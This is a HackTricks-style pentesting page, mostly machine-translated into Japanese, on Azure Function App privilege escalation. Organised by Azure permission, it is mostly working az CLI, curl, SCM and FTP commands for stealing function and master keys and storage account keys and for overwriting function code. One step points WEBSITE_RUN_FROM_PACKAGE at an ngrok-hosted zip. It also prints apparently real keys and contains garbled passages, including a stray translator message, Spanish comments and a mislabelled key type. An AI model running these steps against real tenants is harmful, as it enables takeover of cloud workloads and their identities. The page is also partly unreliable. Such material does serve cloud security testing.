23 KiB
Az - Functions App Privesc
{{#include ../../../banners/hacktricks-training.md}}
Function Apps
詳細については次のページを確認してください:
{{#ref}} ../az-services/az-function-apps.md {{#endref}}
Bucket Read/Write
関数のデータを格納している Storage Account 内のコンテナを読み取る権限があれば、異なるコンテナ(カスタム名または事前定義された名前)を見つけ、その中に関数が実行するコードが含まれている可能性があります。
関数のコードがどこにあるかを特定して、それに対して書き込み権限がある場合、関数に任意のコードを実行させ、関数に紐づく managed identities への権限昇格が可能になります。
File Share(WEBSITE_CONTENTAZUREFILECONNECTIONSTRINGandWEBSITE_CONTENTSHARE)
関数のコードは通常 file share 内に格納されます。十分なアクセス権があればコードファイルを改変して、関数に任意のコードを読み込ませ、Function に紐付く managed identities への権限昇格を行うことができます。
This deployment method usually configures the settings WEBSITE_CONTENTAZUREFILECONNECTIONSTRING and WEBSITE_CONTENTSHARE which you can get from
az functionapp config appsettings list \
--name <app-name> \
--resource-group <res-group>
これらの設定には、Function がコードにアクセスするために使用できる Storage Account Key が含まれます。
Caution
File Share に接続して実行中の スクリプトを変更する ための十分な権限があれば、Function 内で任意のコードを実行し権限昇格することが可能です。
以下の例は macOS を使って file share に接続する方法を示していますが、file share に関する詳細は次のページも確認することを推奨します:
{{#ref}} ../az-services/az-file-shares.md {{#endref}}
# Username is the name of the storage account
# Password is the Storage Account Key
# Open the connection to the file share
# Change the code of the script like /site/wwwroot/function_app.py
open "smb://<STORAGE-ACCOUNT>.file.core.windows.net/<FILE-SHARE-NAME>"
function-releases(WEBSITE_RUN_FROM_PACKAGE)
function app が使用している Storage Account container の function-releases フォルダ内に zip releases が格納されていることもよくあります。通常、そのコンテナ名は function-releases です。
通常、このデプロイ方法は WEBSITE_RUN_FROM_PACKAGE 設定を次に設定します:
az functionapp config appsettings list \
--name <app-name> \
--resource-group <res-group>
This config will usually contain a SAS URL to download the code from the Storage Account.
Caution
十分な権限で、そのcontains the code in zipを含むblob containerに接続できる場合、Function内で任意のコードを実行して権限を昇格させることができます。
github-actions-deploy(WEBSITE_RUN_FROM_PACKAGE)
前のケースと同様に、デプロイがGithub Actions経由で行われている場合、Storage Account内にコードのzipを含むフォルダ**github-actions-deploy**が見つかり、設定WEBSITE_RUN_FROM_PACKAGEにzipへのSAS URLが含まれていることがあります。
scm-releases(WEBSITE_CONTENTAZUREFILECONNECTIONSTRINGandWEBSITE_CONTENTSHARE)
Functionのデータを格納するStorage Account内のコンテナを読み取る権限があれば、コンテナ**scm-releasesを見つけられます。そこには最新のリリースがSquashfs filesystem file format**で格納されており、そのためFunctionのコードを読むことが可能です:
# List containers inside the storage account of the function app
az storage container list \
--account-name <acc-name> \
--output table
# List files inside one container
az storage blob list \
--account-name <acc-name> \
--container-name <container-name> \
--output table
# Download file
az storage blob download \
--account-name <res-group> \
--container-name scm-releases \
--name scm-latest-<app-name>.zip \
--file /tmp/scm-latest-<app-name>.zip
## Even if it looks like the file is a .zip, it's a Squashfs filesystem
# Install
brew install squashfs
# List contents of the filesystem
unsquashfs -l "/tmp/scm-latest-<app-name>.zip"
# Get all the contents
mkdir /tmp/fs
unsquashfs -d /tmp/fs /tmp/scm-latest-<app-name>.zip
ストレージアカウントのコンテナ azure-webjobs-secrets の <app-name> フォルダ内にある JSON ファイルから、master and functions keys を見つけられることもあります。
Caution
十分な権限でその blob container に接続でき、かつそこが contains the code in a zip extension file(実際には
squashfs)を含んでいる場合、it's possible to execute arbitrary code in the Function and escalate privileges.
# Modify code inside the script in /tmp/fs adding your code
# Generate new filesystem file
mksquashfs /tmp/fs /tmp/scm-latest-<app-name>.zip -b 131072 -noappend
# Upload it to the blob storage
az storage blob upload \
--account-name <storage-account> \
--container-name scm-releases \
--name scm-latest-<app-name>.zip \
--file /tmp/scm-latest-<app-name>.zip \
--overwrite
Microsoft.Web/sites/host/listkeys/action
この権限により、指定した function の function、master、system キーを一覧表示できますが、host キーは含まれません。次の方法で取得できます:
az functionapp keys list --resource-group <res_group> --name <func-name>
master key を使うと、次のような URL でソースコードを取得することも可能です:
# Get "script_href" from
az rest --method GET \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/functions?api-version=2024-04-01"
# Access
curl "<script-href>?code=<master-key>"
# Python function app example
curl "https://newfuncttest123.azurewebsites.net/admin/vfs/home/site/wwwroot/function_app.py?code=RByfLxj0P-4Y7308dhay6rtuonL36Ohft9GRdzS77xWBAzFu75Ol5g==" -v
# JavaScript function app example
curl "https://consumptionexample.azurewebsites.net/admin/vfs/site/wwwroot/HttpExample/index.js?code=tKln7u4DtLgmG55XEvMjN0Lv9a3rKZK4dLbOHmWgD2v1AzFu3w9y_A==" -v
そして、関数で実行されているコードを変更するには:
# Set the code to set in the function in /tmp/function_app.py
## Python function app example
curl -X PUT "https://newfuncttest123.azurewebsites.net/admin/vfs/home/site/wwwroot/function_app.py?code=RByfLxj0P-4Y7308dhay6rtuonL36Ohft9GRdzS77xWBAzFu75Ol5g==" \
--data-binary @/tmp/function_app.py \
-H "Content-Type: application/json" \
-H "If-Match: *" \
-v
# NodeJS function app example
curl -X PUT "https://consumptionexample.azurewebsites.net/admin/vfs/site/wwwroot/HttpExample/index.js?code=tKln7u4DtLgmG55XEvMjN0Lv9a3rKZK4dLbOHmWgD2v1AzFu3w9y_A==" \
--data-binary @/tmp/index.js \
-H "Content-Type: application/json" \
-H "If-Match: *" \
-v
Microsoft.Web/sites/functions/listKeys/action
この権限により、指定した関数のデフォルトキーを次の方法で取得できます:
az rest --method POST --uri "https://management.azure.com/subscriptions/<subsription-id>/resourceGroups/<resource-group>/providers/Microsoft.Web/sites/<func-name>/functions/<func-endpoint-name>/listKeys?api-version=2022-03-01"
取得した既定のキーを使用して関数を呼び出す:
curl "https://<app-name>.azurewebsites.net/api/<func-endpoint-name>?code=<default-key>"
Microsoft.Web/sites/host/functionKeys/write
この権限は、指定した関数の関数キーを次の内容で作成/更新することを許可します:
az functionapp keys set --resource-group <res_group> --key-name <key-name> --key-type functionKeys --name <func-key> --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ==
Microsoft.Web/sites/host/masterKey/write
このアクセス許可は、次の方法で指定された関数のマスターキーを作成/更新することを許可します:
az functionapp keys set --resource-group <res_group> --key-name <key-name> --key-type masterKey --name <func-key> --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ==
Caution
このキーがあれば、前述のとおりソースコードにアクセスして変更することもできることを忘れないでください!
Microsoft.Web/sites/host/systemKeys/write
This permission allows to create/update a system function key to the specified function with:
az functionapp keys set --resource-group <res_group> --key-name <key-name> --key-type masterKey --name <func-key> --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ==
翻訳対象のファイル内容(または該当部分)と "Use the key:" の後に続くキーを貼ってください。現在、翻訳するテキストが提供されていません。
# Ejemplo: Acceso a endpoints de Durable Functions
curl "https://<app-name>.azurewebsites.net/runtime/webhooks/durabletask/instances?code=<system-key>"
# Ejemplo: Acceso a Event Grid webhooks
curl "https://<app-name>.azurewebsites.net/runtime/webhooks/eventgrid?code=<system-key>"
Microsoft.Web/sites/config/list/action
この権限により Function の設定を取得できます。これらの設定内でデフォルト値 AzureWebJobsStorage や WEBSITE_CONTENTAZUREFILECONNECTIONSTRING を見つけられることがあり、これらには Function の blob storage に対して フル権限でアクセスするためのアカウントキー が含まれています。
az functionapp config appsettings list --name <func-name> --resource-group <res-group>
さらに、この権限により SCM username and password(有効になっている場合)を次の方法で取得することもできます:
az rest --method POST \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/config/publishingcredentials/list?api-version=2018-11-01"
Microsoft.Web/sites/config/list/action, Microsoft.Web/sites/config/write
これらの権限は、先に見たように function の設定値を一覧表示できるだけでなく、これらの値を変更することも可能にします。これらの設定は function 内で実行されるコードがどこにあるかを示すため、WEBSITE_RUN_FROM_PACKAGE を web アプリケーション内で実行される新しいコードを含む ZIP ファイルの URL を指すように設定することができます:
- まず現在の設定を取得します
az functionapp config appsettings list \
--name <app-name> \
--resource-group <res-name>
- 関数に実行させたいコードを作成し、公開してホストする
# Write inside /tmp/web/function_app.py the code of the function
cd /tmp/web/function_app.py
zip function_app.zip function_app.py
python3 -m http.server
# Serve it using ngrok for example
ngrok http 8000
関数を修正し、以前のパラメータは保持したまま、最後にコードを含むzipが置かれたURLを指す設定 WEBSITE_RUN_FROM_PACKAGE を追加してください。
以下は私の**自分の設定の例(値はご自身のものに変更してください)**です。末尾の値 "WEBSITE_RUN_FROM_PACKAGE": "https://4c7d-81-33-68-77.ngrok-free.app/function_app.zip" に注目してください。ここにアプリをホストしていました。
# Modify the function
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Web/sites/newfunctiontestlatestrelease/config/appsettings?api-version=2023-01-01" \
--headers '{"Content-Type": "application/json"}' \
--body '{"properties": {"APPLICATIONINSIGHTS_CONNECTION_STRING": "InstrumentationKey=67b64ab1-a49e-4e37-9c42-ff16e07290b0;IngestionEndpoint=https://canadacentral-1.in.applicationinsights.azure.com/;LiveEndpoint=https://canadacentral.livediagnostics.monitor.azure.com/;ApplicationId=cdd211a7-9981-47e8-b3c7-44cd55d53161", "AzureWebJobsStorage": "DefaultEndpointsProtocol=https;AccountName=newfunctiontestlatestr;AccountKey=gesefrkJxIk28lccvbTnuGkGx3oZ30ngHHodTyyVQu+nAL7Kt0zWvR2wwek9Ar5eis8HpkAcOVEm+AStG8KMWA==;EndpointSuffix=core.windows.net", "FUNCTIONS_EXTENSION_VERSION": "~4", "FUNCTIONS_WORKER_RUNTIME": "python", "WEBSITE_CONTENTAZUREFILECONNECTIONSTRING": "DefaultEndpointsProtocol=https;AccountName=newfunctiontestlatestr;AccountKey=gesefrkJxIk28lccvbTnuGkGx3oZ30ngHHodTyyVQu+nAL7Kt0zWvR2wwek9Ar5eis8HpkAcOVEm+AStG8KMWA==;EndpointSuffix=core.windows.net","WEBSITE_CONTENTSHARE": "newfunctiontestlatestrelease89c1", "WEBSITE_RUN_FROM_PACKAGE": "https://4c7d-81-33-68-77.ngrok-free.app/function_app.zip"}}'
Microsoft.Web/sites/hostruntime/vfs/write
この権限があれば、web コンソール(または以下の API エンドポイント)を通じて、アプリケーションのコードを変更できます:
# This is a python example, so we will be overwritting function_app.py
# Store in /tmp/body the raw python code to put in the function
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subcription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/hostruntime/admin/vfs/function_app.py?relativePath=1&api-version=2022-03-01" \
--headers '{"Content-Type": "application/json", "If-Match": "*"}' \
--body @/tmp/body
# Through the SCM URL (using Azure permissions or SCM creds)
az rest --method PUT \
--url "https://consumptionexample.scm.azurewebsites.net/api/vfs/site/wwwroot/HttpExample/index.js" \
--resource "https://management.azure.com/" \
--headers "If-Match=*" \
--body 'module.exports = async function (context, req) {
context.log("JavaScript HTTP trigger function processed a request. Training Demo 2");
const name = (req.query.name || (req.body && req.body.name));
const responseMessage = name
? "Hello, " + name + ". This HTTP triggered function executed successfully. Training Demo 2"
: "This HTTP triggered function executed successfully. Pass a name in the query string or in the request body for a personalized response. Training Demo 2";
context.res = {
// status: 200, /* Defaults to 200 */
body: responseMessage
};
}'
Microsoft.Web/sites/publishxml/action, (Microsoft.Web/sites/basicPublishingCredentialsPolicies/write)
この権限により、基本的にbasic auth credentialsを含むすべての publishing profiles を一覧できます:
# Get creds
az functionapp deployment list-publishing-profiles \
--name <app-name> \
--resource-group <res-name> \
--output json
別のオプションとして、自分の creds を設定して次のように使用することができます:
az functionapp deployment user set \
--user-name DeployUser123456 g \
--password 'P@ssw0rd123!'
- REDACTED credentials の場合
それらの credentials が REDACTED と表示される場合、それは need to enable the SCM basic authentication option が必要で、そのために二番目の権限(Microsoft.Web/sites/basicPublishingCredentialsPolicies/write)が必要だからです:
# Enable basic authentication for SCM
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/basicPublishingCredentialsPolicies/scm?api-version=2022-03-01" \
--body '{
"properties": {
"allow": true
}
}'
# Enable basic authentication for FTP
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/basicPublishingCredentialsPolicies/ftp?api-version=2022-03-01" \
--body '{
"properties": {
"allow": true
}
}
- 方法 SCM
その後、function app の SCM URL にこれらの basic auth credentials to the SCM URL でアクセスし、env variables の値を取得できます:
# Get settings values
curl -u '<username>:<password>' \
https://<app-name>.scm.azurewebsites.net/api/settings -v
# Deploy code to the funciton
zip function_app.zip function_app.py # Your code in function_app.py
curl -u '<username>:<password>' -X POST --data-binary "@<zip_file_path>" \
https://<app-name>.scm.azurewebsites.net/api/zipdeploy
Note that the SCM username is usually the char "$" followed by the name of the app, so: $<app-name>.
次のURLからウェブページにもアクセスできます: https://<app-name>.scm.azurewebsites.net/BasicAuth
設定値には、function app のデータを格納する storage account の AccountKey が含まれており、その storage account を制御することが可能です。
- Method FTP
以下を使ってFTPサーバに接続します:
# macOS install lftp
brew install lftp
# Connect using lftp
lftp -u '<username>','<password>' \
ftps://waws-prod-yq1-005dr.ftp.azurewebsites.windows.net/site/wwwroot/
# Some commands
ls # List
get ./function_app.py -o /tmp/ # Download function_app.py in /tmp
put /tmp/function_app.py -o /site/wwwroot/function_app.py # Upload file and deploy it
注意: FTP username は通常 <app-name>\$<app-name> の形式です.
Microsoft.Web/sites/hostruntime/vfs/read
この権限により、VFS を通じてアプリの ソースコードを読み取る ことができます:
az rest --url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/hostruntime/admin/vfs/function_app.py?relativePath=1&api-version=2022-03-01"
Microsoft.Web/sites/functions/token/action
この権限があれば、get the admin token を取得でき、それを使って後に master key を取得し、function's code にアクセスして変更することができます。
ただし、私の最近の確認では token は返されませんでした。無効化されているか、動作しなくなっている可能性がありますが、以下はその実行方法です:
# Get admin token
az rest --method GET \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/functions/admin/token?api-version=2024-04-01"
# Get master key
curl "https://<app-name>.azurewebsites.net/admin/host/systemkeys/_master" \
-H "Authorization: Bearer <token>"
Microsoft.Web/sites/config/write, (Microsoft.Web/sites/functions/properties/read)
この権限により、無効になっている可能性のある Functions を有効化(または無効化)できます。
# Enable a disabled function
az functionapp config appsettings set \
--name <app-name> \
--resource-group <res-group> \
--settings "AzureWebJobs.http_trigger1.Disabled=false"
次の URL で、関数が有効か無効かを確認することもできます(括弧内の権限を使用):
az rest --url "https://management.azure.com/subscriptions/<subscripntion-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/functions/<func-name>/properties/state?api-version=2024-04-01"
Microsoft.Web/sites/config/write, Microsoft.Web/sites/config/list/action, (Microsoft.Web/sites/read, Microsoft.Web/sites/config/list/action, Microsoft.Web/sites/config/read)
これらの権限があれば、function app が実行するコンテナを変更することが可能です。これにより攻撃者は悪意のある azure function container app を docker hub(例えば)にアップロードし、function app にそれを実行させることができます。
az functionapp config container set --name <app-name> \
--resource-group <res-group> \
--image "mcr.microsoft.com/azure-functions/dotnet8-quickstart-demo:1.0"
Microsoft.Web/sites/write, Microsoft.ManagedIdentity/userAssignedIdentities/assign/action, Microsoft.App/managedEnvironments/join/action, (Microsoft.Web/sites/read, Microsoft.Web/sites/operationresults/read)
これらの権限があれば、attach a new user managed identity to a function が可能です。function が compromised している場合、これにより any user managed identity に対して escalate privileges することができます。
az functionapp identity assign \
--name <app-name> \
--resource-group <res-group> \
--identities /subscriptions/<subs-id>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<mi-name>
Remote Debugging
実行中の Azure function に接続してデバッグすることも可能です(explained in the docs)。ただし、開発者が設定を忘れて脆弱な構成のままにしてしまうのを防ぐため、既定では Azure はこのオプションを 2 日後に無効にします。
Function にデバッグが有効かどうかは、次のように確認できます:
az functionapp show --name <app-name> --resource-group <res-group>
権限 Microsoft.Web/sites/config/write を持っていると、関数をデバッグモードにすることも可能です(以下のコマンドは Microsoft.Web/sites/config/list/action、Microsoft.Web/sites/config/Read、および Microsoft.Web/sites/Read の権限も必要とします)。
az functionapp config set --remote-debugging-enabled=True --name <app-name> --resource-group <res-group>
Github リポジトリを変更する
次のコマンドを実行してデプロイ元の Github リポジトリを変更してみましたが、たとえ変更されても 新しいコードは読み込まれませんでした(おそらく Github Action がコードを更新するのを期待しているためです)。
さらに、managed identity federated credential が新しいリポジトリを許可するようには更新されませんでしたので、あまり有用ではないようです。
# Remove current
az functionapp deployment source delete \
--name funcGithub \
--resource-group Resource_Group_1
# Load new public repo
az functionapp deployment source config \
--name funcGithub \
--resource-group Resource_Group_1 \
--repo-url "https://github.com/orgname/azure_func3" \
--branch main --github-action true
{{#include ../../../banners/hacktricks-training.md}}